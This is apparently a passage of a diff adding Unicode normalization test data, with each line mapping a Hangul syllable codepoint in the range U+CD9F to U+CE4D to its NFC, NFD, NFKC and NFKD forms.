+{ source: [0xCD9F], NFC: [0xCD9F], NFD: [0x110E, 0x116E, 0x11B2], NFKC: [0xCD9F], NFKD: [0x110E, 0x116E, 0x11B2] },
+{ source: [0xCDA0], NFC: [0xCDA0], NFD: [0x110E, 0x116E, 0x11B3], NFKC: [0xCDA0], NFKD: [0x110E, 0x116E, 0x11B3] },
+{ source: [0xCDA1], NFC: [0xCDA1], NFD: [0x110E, 0x116E, 0x11B4], NFKC: [0xCDA1], NFKD: [0x110E, 0x116E, 0x11B4] },
+{ source: [0xCDA2], NFC: [0xCDA2], NFD: [0x110E, 0x116E, 0x11B5], NFKC: [0xCDA2], NFKD: [0x110E, 0x116E, 0x11B5] },
+{ source: [0xCDA3], NFC: [0xCDA3], NFD: [0x110E, 0x116E, 0x11B6], NFKC: [0xCDA3], NFKD: [0x110E, 0x116E, 0x11B6] },
+{ source: [0xCDA4], NFC: [0xCDA4], NFD: [0x110E, 0x116E, 0x11B7], NFKC: [0xCDA4], NFKD: [0x110E, 0x116E, 0x11B7] },
+{ source: [0xCDA5], NFC: [0xCDA5], NFD: [0x110E, 0x116E, 0x11B8], NFKC: [0xCDA5], NFKD: [0x110E, 0x116E, 0x11B8] },
+{ source: [0xCDA6], NFC: [0xCDA6], NFD: [0x110E, 0x116E, 0x11B9], NFKC: [0xCDA6], NFKD: [0x110E, 0x116E, 0x11B9] },
+{ source: [0xCDA7], NFC: [0xCDA7], NFD: [0x110E, 0x116E, 0x11BA], NFKC: [0xCDA7], NFKD: [0x110E, 0x116E, 0x11BA] },
+{ source: [0xCDA8], NFC: [0xCDA8], NFD: [0x110E, 0x116E, 0x11BB], NFKC: [0xCDA8], NFKD: [0x110E, 0x116E, 0x11BB] },
+{ source: [0xCDA9], NFC: [0xCDA9], NFD: [0x110E, 0x116E, 0x11BC], NFKC: [0xCDA9], NFKD: [0x110E, 0x116E, 0x11BC] },
+{ source: [0xCDAA], NFC: [0xCDAA], NFD: [0x110E, 0x116E, 0x11BD], NFKC: [0xCDAA], NFKD: [0x110E, 0x116E, 0x11BD] },
+{ source: [0xCDAB], NFC: [0xCDAB], NFD: [0x110E, 0x116E, 0x11BE], NFKC: [0xCDAB], NFKD: [0x110E, 0x116E, 0x11BE] },
+{ source: [0xCDAC], NFC: [0xCDAC], NFD: [0x110E, 0x116E, 0x11BF], NFKC: [0xCDAC], NFKD: [0x110E, 0x116E, 0x11BF] },
+{ source: [0xCDAD], NFC: [0xCDAD], NFD: [0x110E, 0x116E, 0x11C0], NFKC: [0xCDAD], NFKD: [0x110E, 0x116E, 0x11C0] },
+{ source: [0xCDAE], NFC: [0xCDAE], NFD: [0x110E, 0x116E, 0x11C1], NFKC: [0xCDAE], NFKD: [0x110E, 0x116E, 0x11C1] },
+{ source: [0xCDAF], NFC: [0xCDAF], NFD: [0x110E, 0x116E, 0x11C2], NFKC: [0xCDAF], NFKD: [0x110E, 0x116E, 0x11C2] },
+{ source: [0xCDB0], NFC: [0xCDB0], NFD: [0x110E, 0x116F], NFKC: [0xCDB0], NFKD: [0x110E, 0x116F] },
+{ source: [0xCDB1], NFC: [0xCDB1], NFD: [0x110E, 0x116F, 0x11A8], NFKC: [0xCDB1], NFKD: [0x110E, 0x116F, 0x11A8] },
+{ source: [0xCDB2], NFC: [0xCDB2], NFD: [0x110E, 0x116F, 0x11A9], NFKC: [0xCDB2], NFKD: [0x110E, 0x116F, 0x11A9] },
+{ source: [0xCDB3], NFC: [0xCDB3], NFD: [0x110E, 0x116F, 0x11AA], NFKC: [0xCDB3], NFKD: [0x110E, 0x116F, 0x11AA] },
+{ source: [0xCDB4], NFC: [0xCDB4], NFD: [0x110E, 0x116F, 0x11AB], NFKC: [0xCDB4], NFKD: [0x110E, 0x116F, 0x11AB] },
+{ source: [0xCDB5], NFC: [0xCDB5], NFD: [0x110E, 0x116F, 0x11AC], NFKC: [0xCDB5], NFKD: [0x110E, 0x116F, 0x11AC] },
+{ source: [0xCDB6], NFC: [0xCDB6], NFD: [0x110E, 0x116F, 0x11AD], NFKC: [0xCDB6], NFKD: [0x110E, 0x116F, 0x11AD] },
+{ source: [0xCDB7], NFC: [0xCDB7], NFD: [0x110E, 0x116F, 0x11AE], NFKC: [0xCDB7], NFKD: [0x110E, 0x116F, 0x11AE] },
+{ source: [0xCDB8], NFC: [0xCDB8], NFD: [0x110E, 0x116F, 0x11AF], NFKC: [0xCDB8], NFKD: [0x110E, 0x116F, 0x11AF] },
+{ source: [0xCDB9], NFC: [0xCDB9], NFD: [0x110E, 0x116F, 0x11B0], NFKC: [0xCDB9], NFKD: [0x110E, 0x116F, 0x11B0] },
+{ source: [0xCDBA], NFC: [0xCDBA], NFD: [0x110E, 0x116F, 0x11B1], NFKC: [0xCDBA], NFKD: [0x110E, 0x116F, 0x11B1] },
+{ source: [0xCDBB], NFC: [0xCDBB], NFD: [0x110E, 0x116F, 0x11B2], NFKC: [0xCDBB], NFKD: [0x110E, 0x116F, 0x11B2] },
+{ source: [0xCDBC], NFC: [0xCDBC], NFD: [0x110E, 0x116F, 0x11B3], NFKC: [0xCDBC], NFKD: [0x110E, 0x116F, 0x11B3] },
+{ source: [0xCDBD], NFC: [0xCDBD], NFD: [0x110E, 0x116F, 0x11B4], NFKC: [0xCDBD], NFKD: [0x110E, 0x116F, 0x11B4] },
+{ source: [0xCDBE], NFC: [0xCDBE], NFD: [0x110E, 0x116F, 0x11B5], NFKC: [0xCDBE], NFKD: [0x110E, 0x116F, 0x11B5] },
+{ source: [0xCDBF], NFC: [0xCDBF], NFD: [0x110E, 0x116F, 0x11B6], NFKC: [0xCDBF], NFKD: [0x110E, 0x116F, 0x11B6] },
+{ source: [0xCDC0], NFC: [0xCDC0], NFD: [0x110E, 0x116F, 0x11B7], NFKC: [0xCDC0], NFKD: [0x110E, 0x116F, 0x11B7] },
+{ source: [0xCDC1], NFC: [0xCDC1], NFD: [0x110E, 0x116F, 0x11B8], NFKC: [0xCDC1], NFKD: [0x110E, 0x116F, 0x11B8] },
+{ source: [0xCDC2], NFC: [0xCDC2], NFD: [0x110E, 0x116F, 0x11B9], NFKC: [0xCDC2], NFKD: [0x110E, 0x116F, 0x11B9] },
+{ source: [0xCDC3], NFC: [0xCDC3], NFD: [0x110E, 0x116F, 0x11BA], NFKC: [0xCDC3], NFKD: [0x110E, 0x116F, 0x11BA] },
+{ source: [0xCDC4], NFC: [0xCDC4], NFD: [0x110E, 0x116F, 0x11BB], NFKC: [0xCDC4], NFKD: [0x110E, 0x116F, 0x11BB] },
+{ source: [0xCDC5], NFC: [0xCDC5], NFD: [0x110E, 0x116F, 0x11BC], NFKC: [0xCDC5], NFKD: [0x110E, 0x116F, 0x11BC] },
+{ source: [0xCDC6], NFC: [0xCDC6], NFD: [0x110E, 0x116F, 0x11BD], NFKC: [0xCDC6], NFKD: [0x110E, 0x116F, 0x11BD] },
+{ source: [0xCDC7], NFC: [0xCDC7], NFD: [0x110E, 0x116F, 0x11BE], NFKC: [0xCDC7], NFKD: [0x110E, 0x116F, 0x11BE] },
+{ source: [0xCDC8], NFC: [0xCDC8], NFD: [0x110E, 0x116F, 0x11BF], NFKC: [0xCDC8], NFKD: [0x110E, 0x116F, 0x11BF] },
+{ source: [0xCDC9], NFC: [0xCDC9], NFD: [0x110E, 0x116F, 0x11C0], NFKC: [0xCDC9], NFKD: [0x110E, 0x116F, 0x11C0] },
+{ source: [0xCDCA], NFC: [0xCDCA], NFD: [0x110E, 0x116F, 0x11C1], NFKC: [0xCDCA], NFKD: [0x110E, 0x116F, 0x11C1] },
+{ source: [0xCDCB], NFC: [0xCDCB], NFD: [0x110E, 0x116F, 0x11C2], NFKC: [0xCDCB], NFKD: [0x110E, 0x116F, 0x11C2] },
+{ source: [0xCDCC], NFC: [0xCDCC], NFD: [0x110E, 0x1170], NFKC: [0xCDCC], NFKD: [0x110E, 0x1170] },
+{ source: [0xCDCD], NFC: [0xCDCD], NFD: [0x110E, 0x1170, 0x11A8], NFKC: [0xCDCD], NFKD: [0x110E, 0x1170, 0x11A8] },
+{ source: [0xCDCE], NFC: [0xCDCE], NFD: [0x110E, 0x1170, 0x11A9], NFKC: [0xCDCE], NFKD: [0x110E, 0x1170, 0x11A9] },
+{ source: [0xCDCF], NFC: [0xCDCF], NFD: [0x110E, 0x1170, 0x11AA], NFKC: [0xCDCF], NFKD: [0x110E, 0x1170, 0x11AA] },
+{ source: [0xCDD0], NFC: [0xCDD0], NFD: [0x110E, 0x1170, 0x11AB], NFKC: [0xCDD0], NFKD: [0x110E, 0x1170, 0x11AB] },
+{ source: [0xCDD1], NFC: [0xCDD1], NFD: [0x110E, 0x1170, 0x11AC], NFKC: [0xCDD1], NFKD: [0x110E, 0x1170, 0x11AC] },
+{ source: [0xCDD2], NFC: [0xCDD2], NFD: [0x110E, 0x1170, 0x11AD], NFKC: [0xCDD2], NFKD: [0x110E, 0x1170, 0x11AD] },
+{ source: [0xCDD3], NFC: [0xCDD3], NFD: [0x110E, 0x1170, 0x11AE], NFKC: [0xCDD3], NFKD: [0x110E, 0x1170, 0x11AE] },
+{ source: [0xCDD4], NFC: [0xCDD4], NFD: [0x110E, 0x1170, 0x11AF], NFKC: [0xCDD4], NFKD: [0x110E, 0x1170, 0x11AF] },
+{ source: [0xCDD5], NFC: [0xCDD5], NFD: [0x110E, 0x1170, 0x11B0], NFKC: [0xCDD5], NFKD: [0x110E, 0x1170, 0x11B0] },
+{ source: [0xCDD6], NFC: [0xCDD6], NFD: [0x110E, 0x1170, 0x11B1], NFKC: [0xCDD6], NFKD: [0x110E, 0x1170, 0x11B1] },
+{ source: [0xCDD7], NFC: [0xCDD7], NFD: [0x110E, 0x1170, 0x11B2], NFKC: [0xCDD7], NFKD: [0x110E, 0x1170, 0x11B2] },
+{ source: [0xCDD8], NFC: [0xCDD8], NFD: [0x110E, 0x1170, 0x11B3], NFKC: [0xCDD8], NFKD: [0x110E, 0x1170, 0x11B3] },
+{ source: [0xCDD9], NFC: [0xCDD9], NFD: [0x110E, 0x1170, 0x11B4], NFKC: [0xCDD9], NFKD: [0x110E, 0x1170, 0x11B4] },
+{ source: [0xCDDA], NFC: [0xCDDA], NFD: [0x110E, 0x1170, 0x11B5], NFKC: [0xCDDA], NFKD: [0x110E, 0x1170, 0x11B5] },
+{ source: [0xCDDB], NFC: [0xCDDB], NFD: [0x110E, 0x1170, 0x11B6], NFKC: [0xCDDB], NFKD: [0x110E, 0x1170, 0x11B6] },
+{ source: [0xCDDC], NFC: [0xCDDC], NFD: [0x110E, 0x1170, 0x11B7], NFKC: [0xCDDC], NFKD: [0x110E, 0x1170, 0x11B7] },
+{ source: [0xCDDD], NFC: [0xCDDD], NFD: [0x110E, 0x1170, 0x11B8], NFKC: [0xCDDD], NFKD: [0x110E, 0x1170, 0x11B8] },
+{ source: [0xCDDE], NFC: [0xCDDE], NFD: [0x110E, 0x1170, 0x11B9], NFKC: [0xCDDE], NFKD: [0x110E, 0x1170, 0x11B9] },
+{ source: [0xCDDF], NFC: [0xCDDF], NFD: [0x110E, 0x1170, 0x11BA], NFKC: [0xCDDF], NFKD: [0x110E, 0x1170, 0x11BA] },
+{ source: [0xCDE0], NFC: [0xCDE0], NFD: [0x110E, 0x1170, 0x11BB], NFKC: [0xCDE0], NFKD: [0x110E, 0x1170, 0x11BB] },
+{ source: [0xCDE1], NFC: [0xCDE1], NFD: [0x110E, 0x1170, 0x11BC], NFKC: [0xCDE1], NFKD: [0x110E, 0x1170, 0x11BC] },
+{ source: [0xCDE2], NFC: [0xCDE2], NFD: [0x110E, 0x1170, 0x11BD], NFKC: [0xCDE2], NFKD: [0x110E, 0x1170, 0x11BD] },
+{ source: [0xCDE3], NFC: [0xCDE3], NFD: [0x110E, 0x1170, 0x11BE], NFKC: [0xCDE3], NFKD: [0x110E, 0x1170, 0x11BE] },
+{ source: [0xCDE4], NFC: [0xCDE4], NFD: [0x110E, 0x1170, 0x11BF], NFKC: [0xCDE4], NFKD: [0x110E, 0x1170, 0x11BF] },
+{ source: [0xCDE5], NFC: [0xCDE5], NFD: [0x110E, 0x1170, 0x11C0], NFKC: [0xCDE5], NFKD: [0x110E, 0x1170, 0x11C0] },
+{ source: [0xCDE6], NFC: [0xCDE6], NFD: [0x110E, 0x1170, 0x11C1], NFKC: [0xCDE6], NFKD: [0x110E, 0x1170, 0x11C1] },
+{ source: [0xCDE7], NFC: [0xCDE7], NFD: [0x110E, 0x1170, 0x11C2], NFKC: [0xCDE7], NFKD: [0x110E, 0x1170, 0x11C2] },
+{ source: [0xCDE8], NFC: [0xCDE8], NFD: [0x110E, 0x1171], NFKC: [0xCDE8], NFKD: [0x110E, 0x1171] },
+{ source: [0xCDE9], NFC: [0xCDE9], NFD: [0x110E, 0x1171, 0x11A8], NFKC: [0xCDE9], NFKD: [0x110E, 0x1171, 0x11A8] },
+{ source: [0xCDEA], NFC: [0xCDEA], NFD: [0x110E, 0x1171, 0x11A9], NFKC: [0xCDEA], NFKD: [0x110E, 0x1171, 0x11A9] },
+{ source: [0xCDEB], NFC: [0xCDEB], NFD: [0x110E, 0x1171, 0x11AA], NFKC: [0xCDEB], NFKD: [0x110E, 0x1171, 0x11AA] },
+{ source: [0xCDEC], NFC: [0xCDEC], NFD: [0x110E, 0x1171, 0x11AB], NFKC: [0xCDEC], NFKD: [0x110E, 0x1171, 0x11AB] },
+{ source: [0xCDED], NFC: [0xCDED], NFD: [0x110E, 0x1171, 0x11AC], NFKC: [0xCDED], NFKD: [0x110E, 0x1171, 0x11AC] },
+{ source: [0xCDEE], NFC: [0xCDEE], NFD: [0x110E, 0x1171, 0x11AD], NFKC: [0xCDEE], NFKD: [0x110E, 0x1171, 0x11AD] },
+{ source: [0xCDEF], NFC: [0xCDEF], NFD: [0x110E, 0x1171, 0x11AE], NFKC: [0xCDEF], NFKD: [0x110E, 0x1171, 0x11AE] },
+{ source: [0xCDF0], NFC: [0xCDF0], NFD: [0x110E, 0x1171, 0x11AF], NFKC: [0xCDF0], NFKD: [0x110E, 0x1171, 0x11AF] },
+{ source: [0xCDF1], NFC: [0xCDF1], NFD: [0x110E, 0x1171, 0x11B0], NFKC: [0xCDF1], NFKD: [0x110E, 0x1171, 0x11B0] },
+{ source: [0xCDF2], NFC: [0xCDF2], NFD: [0x110E, 0x1171, 0x11B1], NFKC: [0xCDF2], NFKD: [0x110E, 0x1171, 0x11B1] },
+{ source: [0xCDF3], NFC: [0xCDF3], NFD: [0x110E, 0x1171, 0x11B2], NFKC: [0xCDF3], NFKD: [0x110E, 0x1171, 0x11B2] },
+{ source: [0xCDF4], NFC: [0xCDF4], NFD: [0x110E, 0x1171, 0x11B3], NFKC: [0xCDF4], NFKD: [0x110E, 0x1171, 0x11B3] },
+{ source: [0xCDF5], NFC: [0xCDF5], NFD: [0x110E, 0x1171, 0x11B4], NFKC: [0xCDF5], NFKD: [0x110E, 0x1171, 0x11B4] },
+{ source: [0xCDF6], NFC: [0xCDF6], NFD: [0x110E, 0x1171, 0x11B5], NFKC: [0xCDF6], NFKD: [0x110E, 0x1171, 0x11B5] },
+{ source: [0xCDF7], NFC: [0xCDF7], NFD: [0x110E, 0x1171, 0x11B6], NFKC: [0xCDF7], NFKD: [0x110E, 0x1171, 0x11B6] },
+{ source: [0xCDF8], NFC: [0xCDF8], NFD: [0x110E, 0x1171, 0x11B7], NFKC: [0xCDF8], NFKD: [0x110E, 0x1171, 0x11B7] },
+{ source: [0xCDF9], NFC: [0xCDF9], NFD: [0x110E, 0x1171, 0x11B8], NFKC: [0xCDF9], NFKD: [0x110E, 0x1171, 0x11B8] },
+{ source: [0xCDFA], NFC: [0xCDFA], NFD: [0x110E, 0x1171, 0x11B9], NFKC: [0xCDFA], NFKD: [0x110E, 0x1171, 0x11B9] },
+{ source: [0xCDFB], NFC: [0xCDFB], NFD: [0x110E, 0x1171, 0x11BA], NFKC: [0xCDFB], NFKD: [0x110E, 0x1171, 0x11BA] },
+{ source: [0xCDFC], NFC: [0xCDFC], NFD: [0x110E, 0x1171, 0x11BB], NFKC: [0xCDFC], NFKD: [0x110E, 0x1171, 0x11BB] },
+{ source: [0xCDFD], NFC: [0xCDFD], NFD: [0x110E, 0x1171, 0x11BC], NFKC: [0xCDFD], NFKD: [0x110E, 0x1171, 0x11BC] },
+{ source: [0xCDFE], NFC: [0xCDFE], NFD: [0x110E, 0x1171, 0x11BD], NFKC: [0xCDFE], NFKD: [0x110E, 0x1171, 0x11BD] },
+{ source: [0xCDFF], NFC: [0xCDFF], NFD: [0x110E, 0x1171, 0x11BE], NFKC: [0xCDFF], NFKD: [0x110E, 0x1171, 0x11BE] },
+{ source: [0xCE00], NFC: [0xCE00], NFD: [0x110E, 0x1171, 0x11BF], NFKC: [0xCE00], NFKD: [0x110E, 0x1171, 0x11BF] },
+{ source: [0xCE01], NFC: [0xCE01], NFD: [0x110E, 0x1171, 0x11C0], NFKC: [0xCE01], NFKD: [0x110E, 0x1171, 0x11C0] },
+{ source: [0xCE02], NFC: [0xCE02], NFD: [0x110E, 0x1171, 0x11C1], NFKC: [0xCE02], NFKD: [0x110E, 0x1171, 0x11C1] },
+{ source: [0xCE03], NFC: [0xCE03], NFD: [0x110E, 0x1171, 0x11C2], NFKC: [0xCE03], NFKD: [0x110E, 0x1171, 0x11C2] },
+{ source: [0xCE04], NFC: [0xCE04], NFD: [0x110E, 0x1172], NFKC: [0xCE04], NFKD: [0x110E, 0x1172] },
+{ source: [0xCE05], NFC: [0xCE05], NFD: [0x110E, 0x1172, 0x11A8], NFKC: [0xCE05], NFKD: [0x110E, 0x1172, 0x11A8] },
+{ source: [0xCE06], NFC: [0xCE06], NFD: [0x110E, 0x1172, 0x11A9], NFKC: [0xCE06], NFKD: [0x110E, 0x1172, 0x11A9] },
+{ source: [0xCE07], NFC: [0xCE07], NFD: [0x110E, 0x1172, 0x11AA], NFKC: [0xCE07], NFKD: [0x110E, 0x1172, 0x11AA] },
+{ source: [0xCE08], NFC: [0xCE08], NFD: [0x110E, 0x1172, 0x11AB], NFKC: [0xCE08], NFKD: [0x110E, 0x1172, 0x11AB] },
+{ source: [0xCE09], NFC: [0xCE09], NFD: [0x110E, 0x1172, 0x11AC], NFKC: [0xCE09], NFKD: [0x110E, 0x1172, 0x11AC] },
+{ source: [0xCE0A], NFC: [0xCE0A], NFD: [0x110E, 0x1172, 0x11AD], NFKC: [0xCE0A], NFKD: [0x110E, 0x1172, 0x11AD] },
+{ source: [0xCE0B], NFC: [0xCE0B], NFD: [0x110E, 0x1172, 0x11AE], NFKC: [0xCE0B], NFKD: [0x110E, 0x1172, 0x11AE] },
+{ source: [0xCE0C], NFC: [0xCE0C], NFD: [0x110E, 0x1172, 0x11AF], NFKC: [0xCE0C], NFKD: [0x110E, 0x1172, 0x11AF] },
+{ source: [0xCE0D], NFC: [0xCE0D], NFD: [0x110E, 0x1172, 0x11B0], NFKC: [0xCE0D], NFKD: [0x110E, 0x1172, 0x11B0] },
+{ source: [0xCE0E], NFC: [0xCE0E], NFD: [0x110E, 0x1172, 0x11B1], NFKC: [0xCE0E], NFKD: [0x110E, 0x1172, 0x11B1] },
+{ source: [0xCE0F], NFC: [0xCE0F], NFD: [0x110E, 0x1172, 0x11B2], NFKC: [0xCE0F], NFKD: [0x110E, 0x1172, 0x11B2] },
+{ source: [0xCE10], NFC: [0xCE10], NFD: [0x110E, 0x1172, 0x11B3], NFKC: [0xCE10], NFKD: [0x110E, 0x1172, 0x11B3] },
+{ source: [0xCE11], NFC: [0xCE11], NFD: [0x110E, 0x1172, 0x11B4], NFKC: [0xCE11], NFKD: [0x110E, 0x1172, 0x11B4] },
+{ source: [0xCE12], NFC: [0xCE12], NFD: [0x110E, 0x1172, 0x11B5], NFKC: [0xCE12], NFKD: [0x110E, 0x1172, 0x11B5] },
+{ source: [0xCE13], NFC: [0xCE13], NFD: [0x110E, 0x1172, 0x11B6], NFKC: [0xCE13], NFKD: [0x110E, 0x1172, 0x11B6] },
+{ source: [0xCE14], NFC: [0xCE14], NFD: [0x110E, 0x1172, 0x11B7], NFKC: [0xCE14], NFKD: [0x110E, 0x1172, 0x11B7] },
+{ source: [0xCE15], NFC: [0xCE15], NFD: [0x110E, 0x1172, 0x11B8], NFKC: [0xCE15], NFKD: [0x110E, 0x1172, 0x11B8] },
+{ source: [0xCE16], NFC: [0xCE16], NFD: [0x110E, 0x1172, 0x11B9], NFKC: [0xCE16], NFKD: [0x110E, 0x1172, 0x11B9] },
+{ source: [0xCE17], NFC: [0xCE17], NFD: [0x110E, 0x1172, 0x11BA], NFKC: [0xCE17], NFKD: [0x110E, 0x1172, 0x11BA] },
+{ source: [0xCE18], NFC: [0xCE18], NFD: [0x110E, 0x1172, 0x11BB], NFKC: [0xCE18], NFKD: [0x110E, 0x1172, 0x11BB] },
+{ source: [0xCE19], NFC: [0xCE19], NFD: [0x110E, 0x1172, 0x11BC], NFKC: [0xCE19], NFKD: [0x110E, 0x1172, 0x11BC] },
+{ source: [0xCE1A], NFC: [0xCE1A], NFD: [0x110E, 0x1172, 0x11BD], NFKC: [0xCE1A], NFKD: [0x110E, 0x1172, 0x11BD] },
+{ source: [0xCE1B], NFC: [0xCE1B], NFD: [0x110E, 0x1172, 0x11BE], NFKC: [0xCE1B], NFKD: [0x110E, 0x1172, 0x11BE] },
+{ source: [0xCE1C], NFC: [0xCE1C], NFD: [0x110E, 0x1172, 0x11BF], NFKC: [0xCE1C], NFKD: [0x110E, 0x1172, 0x11BF] },
+{ source: [0xCE1D], NFC: [0xCE1D], NFD: [0x110E, 0x1172, 0x11C0], NFKC: [0xCE1D], NFKD: [0x110E, 0x1172, 0x11C0] },
+{ source: [0xCE1E], NFC: [0xCE1E], NFD: [0x110E, 0x1172, 0x11C1], NFKC: [0xCE1E], NFKD: [0x110E, 0x1172, 0x11C1] },
+{ source: [0xCE1F], NFC: [0xCE1F], NFD: [0x110E, 0x1172, 0x11C2], NFKC: [0xCE1F], NFKD: [0x110E, 0x1172, 0x11C2] },
+{ source: [0xCE20], NFC: [0xCE20], NFD: [0x110E, 0x1173], NFKC: [0xCE20], NFKD: [0x110E, 0x1173] },
+{ source: [0xCE21], NFC: [0xCE21], NFD: [0x110E, 0x1173, 0x11A8], NFKC: [0xCE21], NFKD: [0x110E, 0x1173, 0x11A8] },
+{ source: [0xCE22], NFC: [0xCE22], NFD: [0x110E, 0x1173, 0x11A9], NFKC: [0xCE22], NFKD: [0x110E, 0x1173, 0x11A9] },
+{ source: [0xCE23], NFC: [0xCE23], NFD: [0x110E, 0x1173, 0x11AA], NFKC: [0xCE23], NFKD: [0x110E, 0x1173, 0x11AA] },
+{ source: [0xCE24], NFC: [0xCE24], NFD: [0x110E, 0x1173, 0x11AB], NFKC: [0xCE24], NFKD: [0x110E, 0x1173, 0x11AB] },
+{ source: [0xCE25], NFC: [0xCE25], NFD: [0x110E, 0x1173, 0x11AC], NFKC: [0xCE25], NFKD: [0x110E, 0x1173, 0x11AC] },
+{ source: [0xCE26], NFC: [0xCE26], NFD: [0x110E, 0x1173, 0x11AD], NFKC: [0xCE26], NFKD: [0x110E, 0x1173, 0x11AD] },
+{ source: [0xCE27], NFC: [0xCE27], NFD: [0x110E, 0x1173, 0x11AE], NFKC: [0xCE27], NFKD: [0x110E, 0x1173, 0x11AE] },
+{ source: [0xCE28], NFC: [0xCE28], NFD: [0x110E, 0x1173, 0x11AF], NFKC: [0xCE28], NFKD: [0x110E, 0x1173, 0x11AF] },
+{ source: [0xCE29], NFC: [0xCE29], NFD: [0x110E, 0x1173, 0x11B0], NFKC: [0xCE29], NFKD: [0x110E, 0x1173, 0x11B0] },
+{ source: [0xCE2A], NFC: [0xCE2A], NFD: [0x110E, 0x1173, 0x11B1], NFKC: [0xCE2A], NFKD: [0x110E, 0x1173, 0x11B1] },
+{ source: [0xCE2B], NFC: [0xCE2B], NFD: [0x110E, 0x1173, 0x11B2], NFKC: [0xCE2B], NFKD: [0x110E, 0x1173, 0x11B2] },
+{ source: [0xCE2C], NFC: [0xCE2C], NFD: [0x110E, 0x1173, 0x11B3], NFKC: [0xCE2C], NFKD: [0x110E, 0x1173, 0x11B3] },
+{ source: [0xCE2D], NFC: [0xCE2D], NFD: [0x110E, 0x1173, 0x11B4], NFKC: [0xCE2D], NFKD: [0x110E, 0x1173, 0x11B4] },
+{ source: [0xCE2E], NFC: [0xCE2E], NFD: [0x110E, 0x1173, 0x11B5], NFKC: [0xCE2E], NFKD: [0x110E, 0x1173, 0x11B5] },
+{ source: [0xCE2F], NFC: [0xCE2F], NFD: [0x110E, 0x1173, 0x11B6], NFKC: [0xCE2F], NFKD: [0x110E, 0x1173, 0x11B6] },
+{ source: [0xCE30], NFC: [0xCE30], NFD: [0x110E, 0x1173, 0x11B7], NFKC: [0xCE30], NFKD: [0x110E, 0x1173, 0x11B7] },
+{ source: [0xCE31], NFC: [0xCE31], NFD: [0x110E, 0x1173, 0x11B8], NFKC: [0xCE31], NFKD: [0x110E, 0x1173, 0x11B8] },
+{ source: [0xCE32], NFC: [0xCE32], NFD: [0x110E, 0x1173, 0x11B9], NFKC: [0xCE32], NFKD: [0x110E, 0x1173, 0x11B9] },
+{ source: [0xCE33], NFC: [0xCE33], NFD: [0x110E, 0x1173, 0x11BA], NFKC: [0xCE33], NFKD: [0x110E, 0x1173, 0x11BA] },
+{ source: [0xCE34], NFC: [0xCE34], NFD: [0x110E, 0x1173, 0x11BB], NFKC: [0xCE34], NFKD: [0x110E, 0x1173, 0x11BB] },
+{ source: [0xCE35], NFC: [0xCE35], NFD: [0x110E, 0x1173, 0x11BC], NFKC: [0xCE35], NFKD: [0x110E, 0x1173, 0x11BC] },
+{ source: [0xCE36], NFC: [0xCE36], NFD: [0x110E, 0x1173, 0x11BD], NFKC: [0xCE36], NFKD: [0x110E, 0x1173, 0x11BD] },
+{ source: [0xCE37], NFC: [0xCE37], NFD: [0x110E, 0x1173, 0x11BE], NFKC: [0xCE37], NFKD: [0x110E, 0x1173, 0x11BE] },
+{ source: [0xCE38], NFC: [0xCE38], NFD: [0x110E, 0x1173, 0x11BF], NFKC: [0xCE38], NFKD: [0x110E, 0x1173, 0x11BF] },
+{ source: [0xCE39], NFC: [0xCE39], NFD: [0x110E, 0x1173, 0x11C0], NFKC: [0xCE39], NFKD: [0x110E, 0x1173, 0x11C0] },
+{ source: [0xCE3A], NFC: [0xCE3A], NFD: [0x110E, 0x1173, 0x11C1], NFKC: [0xCE3A], NFKD: [0x110E, 0x1173, 0x11C1] },
+{ source: [0xCE3B], NFC: [0xCE3B], NFD: [0x110E, 0x1173, 0x11C2], NFKC: [0xCE3B], NFKD: [0x110E, 0x1173, 0x11C2] },
+{ source: [0xCE3C], NFC: [0xCE3C], NFD: [0x110E, 0x1174], NFKC: [0xCE3C], NFKD: [0x110E, 0x1174] },
+{ source: [0xCE3D], NFC: [0xCE3D], NFD: [0x110E, 0x1174, 0x11A8], NFKC: [0xCE3D], NFKD: [0x110E, 0x1174, 0x11A8] },
+{ source: [0xCE3E], NFC: [0xCE3E], NFD: [0x110E, 0x1174, 0x11A9], NFKC: [0xCE3E], NFKD: [0x110E, 0x1174, 0x11A9] },
+{ source: [0xCE3F], NFC: [0xCE3F], NFD: [0x110E, 0x1174, 0x11AA], NFKC: [0xCE3F], NFKD: [0x110E, 0x1174, 0x11AA] },
+{ source: [0xCE40], NFC: [0xCE40], NFD: [0x110E, 0x1174, 0x11AB], NFKC: [0xCE40], NFKD: [0x110E, 0x1174, 0x11AB] },
+{ source: [0xCE41], NFC: [0xCE41], NFD: [0x110E, 0x1174, 0x11AC], NFKC: [0xCE41], NFKD: [0x110E, 0x1174, 0x11AC] },
+{ source: [0xCE42], NFC: [0xCE42], NFD: [0x110E, 0x1174, 0x11AD], NFKC: [0xCE42], NFKD: [0x110E, 0x1174, 0x11AD] },
+{ source: [0xCE43], NFC: [0xCE43], NFD: [0x110E, 0x1174, 0x11AE], NFKC: [0xCE43], NFKD: [0x110E, 0x1174, 0x11AE] },
+{ source: [0xCE44], NFC: [0xCE44], NFD: [0x110E, 0x1174, 0x11AF], NFKC: [0xCE44], NFKD: [0x110E, 0x1174, 0x11AF] },
+{ source: [0xCE45], NFC: [0xCE45], NFD: [0x110E, 0x1174, 0x11B0], NFKC: [0xCE45], NFKD: [0x110E, 0x1174, 0x11B0] },
+{ source: [0xCE46], NFC: [0xCE46], NFD: [0x110E, 0x1174, 0x11B1], NFKC: [0xCE46], NFKD: [0x110E, 0x1174, 0x11B1] },
+{ source: [0xCE47], NFC: [0xCE47], NFD: [0x110E, 0x1174, 0x11B2], NFKC: [0xCE47], NFKD: [0x110E, 0x1174, 0x11B2] },
+{ source: [0xCE48], NFC: [0xCE48], NFD: [0x110E, 0x1174, 0x11B3], NFKC: [0xCE48], NFKD: [0x110E, 0x1174, 0x11B3] },
+{ source: [0xCE49], NFC: [0xCE49], NFD: [0x110E, 0x1174, 0x11B4], NFKC: [0xCE49], NFKD: [0x110E, 0x1174, 0x11B4] },
+{ source: [0xCE4A], NFC: [0xCE4A], NFD: [0x110E, 0x1174, 0x11B5], NFKC: [0xCE4A], NFKD: [0x110E, 0x1174, 0x11B5] },
+{ source: [0xCE4B], NFC: [0xCE4B], NFD: [0x110E, 0x1174, 0x11B6], NFKC: [0xCE4B], NFKD: [0x110E, 0x1174, 0x11B6] },
+{ source: [0xCE4C], NFC: [0xCE4C], NFD: [0x110E, 0x1174, 0x11B7], NFKC: [0xCE4C], NFKD: [0x110E, 0x1174, 0x11B7] },
+{ source: [0xCE4D], NFC: [0xCE4D], NFD: [0x110E, 0x1174, 0x11B8], NFKC: [0xCE4D], NFKD: [0x110E, 0x1174, 0x11B8] },
